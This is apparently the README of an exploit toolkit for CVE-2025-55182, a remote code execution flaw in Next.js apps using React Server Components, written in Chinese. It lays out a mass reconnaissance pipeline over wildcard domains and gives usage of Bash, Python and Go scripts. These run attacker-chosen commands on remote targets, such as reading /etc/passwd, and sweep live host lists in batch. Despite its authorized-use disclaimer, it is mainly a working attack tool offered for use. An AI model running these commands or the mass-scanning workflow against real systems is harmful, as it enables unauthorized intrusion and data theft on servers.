CVE-2025-55182：React Server Components RCE 扫描器

一个用于检测和利用 CVE-2025-55182 的综合工具包，该漏洞是 Next.js 应用在使用 React Server Components 时存在的一个严重远程代码执行漏洞。

本仓库提供统一的 Bash 扫描器（单目标与批量模式）、Python/Go 实现，以及一套漏洞赏金侦察工作流。

扫描器菜单扫描器演示

📂 仓库结构

scanner.sh — 集单目标与批量扫描于一体的 Bash 脚本
python/exploit.py — 稳定的 Python 实现（更好的 JSON 转义）
go/main.go — 高性能实现（可编译）

🚀 侦察工作流（漏洞赏金方法论）

要在通配符域名上进行批量挖掘，请在扫描前使用以下管道过滤目标：

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Bash 扫描器用法（推荐）

scanner.sh 脚本支持单目标扫描以及从文件列表进行批量扫描。

🔧 安装

chmod +x scanner.sh

1️⃣ 单目标模式

最适合通过详细输出来验证特定目标。

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ 批量扫描模式

高效扫描 URL 列表并将存在漏洞的主机保存到文件中。

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

选项

🐍 Python 版本

如果使用 Bash 转义特殊字符时遇到问题，请使用此版本。

环境要求

pip install requests

使用方法

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Go 版本

高性能，依赖极少。

直接运行

go run go/main.go -u http://target.com -c "id"

编译二进制文件

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ 免责声明

本工具仅用于教育和授权安全测试目的。未经授权的使用严格违法。开发者对因滥用或使用本程序造成的损害不承担任何责任。

🔗 参考资料

NVD CVE 详情： https://nvd.nist.gov/vuln/detail/CVE-2025-55182
React 安全公告（React Server Components 漏洞）： https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
ProjectDiscovery Nuclei 模板： https://cloud.projectdiscovery.io/library/CVE-2025-55182

`-d, --domain`	单目标 URL
`-l, --list`	包含 URL 列表的文件
`-c, --command`	要执行的命令（默认：`id`）
`-o, --output`	存在漏洞主机的输出文件（默认：`vulnerable_hosts.txt`）

最受欢迎

CVE-2025-55182-Simple-Scanner